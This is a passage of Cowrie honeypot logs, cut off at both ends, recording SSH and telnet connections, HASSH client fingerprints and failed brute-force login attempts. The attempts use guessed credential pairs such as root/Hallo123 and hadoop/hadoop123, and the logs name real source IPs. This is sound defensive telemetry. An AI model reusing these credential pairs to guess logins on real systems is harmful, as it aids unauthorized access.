hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:53.527623Z","src_ip":"122.168.114.167","session":"7d28b3137337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":31078,"dst_ip":"10.17.0.5","dst_port":22,"session":"73eb3b1edad7","protocol":"ssh","message":"New connection: 182.253.79.194:31078 (10.17.0.5:22) [session: 73eb3b1edad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:55.872867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:55.877448Z","src_ip":"182.253.79.194","session":"73eb3b1edad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:56.148281Z","src_ip":"182.253.79.194","session":"73eb3b1edad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hallo123","message":"login attempt [root/Hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:57.259344Z","src_ip":"182.253.79.194","session":"73eb3b1edad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:02:58.531165Z","src_ip":"182.253.79.194","session":"73eb3b1edad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40810,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec651b3fa0b","protocol":"ssh","message":"New connection: 159.203.92.129:40810 (159.203.135.109:22) [session: 5ec651b3fa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:05.659038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:05.666264Z","src_ip":"159.203.92.129","session":"5ec651b3fa0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:05.670813Z","src_ip":"159.203.92.129","session":"5ec651b3fa0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"pass123","message":"login attempt [app/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:05.724414Z","src_ip":"159.203.92.129","session":"5ec651b3fa0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:05.889584Z","src_ip":"122.168.114.167","session":"7d28b3137337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:06.730558Z","src_ip":"159.203.92.129","session":"5ec651b3fa0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:10.295299Z","src_ip":"122.168.114.167","session":"7d28b3137337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.237.148.23","src_port":26435,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c87b1e9408","protocol":"telnet","message":"New connection: 37.237.148.23:26435 (10.17.0.5:23) [session: 51c87b1e9408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:27.251180Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60502,"dst_ip":"159.203.135.109","dst_port":22,"session":"9033997391ff","protocol":"ssh","message":"New connection: 122.168.114.167:60502 (159.203.135.109:22) [session: 9033997391ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:31.689245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:34.574608Z","src_ip":"122.168.114.167","session":"9033997391ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:34.578942Z","src_ip":"122.168.114.167","session":"9033997391ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.408421993255615,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:40.659472Z","src_ip":"37.237.148.23","session":"51c87b1e9408","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:47.649788Z","src_ip":"122.168.114.167","session":"9033997391ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53770,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a861c5aa62","protocol":"ssh","message":"New connection: 159.203.92.129:53770 (159.203.135.109:22) [session: 66a861c5aa62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:51.491287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:51.496618Z","src_ip":"159.203.92.129","session":"66a861c5aa62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:51.501611Z","src_ip":"159.203.92.129","session":"66a861c5aa62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"passw0rd","message":"login attempt [app/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:51.518946Z","src_ip":"159.203.92.129","session":"66a861c5aa62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:51.898932Z","src_ip":"122.168.114.167","session":"9033997391ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:03:52.525294Z","src_ip":"159.203.92.129","session":"66a861c5aa62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":40823,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f930c782662","protocol":"ssh","message":"New connection: 182.253.79.194:40823 (10.17.0.5:22) [session: 4f930c782662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:01.295684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:01.300700Z","src_ip":"182.253.79.194","session":"4f930c782662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:01.560000Z","src_ip":"182.253.79.194","session":"4f930c782662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw123","message":"login attempt [root/123qw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:02.614018Z","src_ip":"182.253.79.194","session":"4f930c782662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:03.877397Z","src_ip":"182.253.79.194","session":"4f930c782662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34674,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea0aa57b8497","protocol":"ssh","message":"New connection: 122.168.114.167:34674 (159.203.135.109:22) [session: ea0aa57b8497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:12.553730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:15.030184Z","src_ip":"122.168.114.167","session":"ea0aa57b8497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:15.035765Z","src_ip":"122.168.114.167","session":"ea0aa57b8497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:27.725281Z","src_ip":"122.168.114.167","session":"ea0aa57b8497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e6155ff81a3","protocol":"telnet","message":"New connection: 185.26.126.47:37860 (159.203.135.109:23) [session: 0e6155ff81a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:28.897146Z"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:32.580957Z","src_ip":"122.168.114.167","session":"ea0aa57b8497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.23.151.46","src_port":59952,"dst_ip":"159.203.135.109","dst_port":22,"session":"630224a089ea","protocol":"ssh","message":"New connection: 64.23.151.46:59952 (159.203.135.109:22) [session: 630224a089ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:32.835884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:32.845308Z","src_ip":"64.23.151.46","session":"630224a089ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:32.943440Z","src_ip":"64.23.151.46","session":"630224a089ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":" ","message":"login attempt [root/ ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:33.258541Z","src_ip":"64.23.151.46","session":"630224a089ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:34.330775Z","src_ip":"64.23.151.46","session":"630224a089ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59398,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb7c976f4bc5","protocol":"ssh","message":"New connection: 159.203.92.129:59398 (159.203.135.109:22) [session: cb7c976f4bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:35.817319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:35.821866Z","src_ip":"159.203.92.129","session":"cb7c976f4bc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","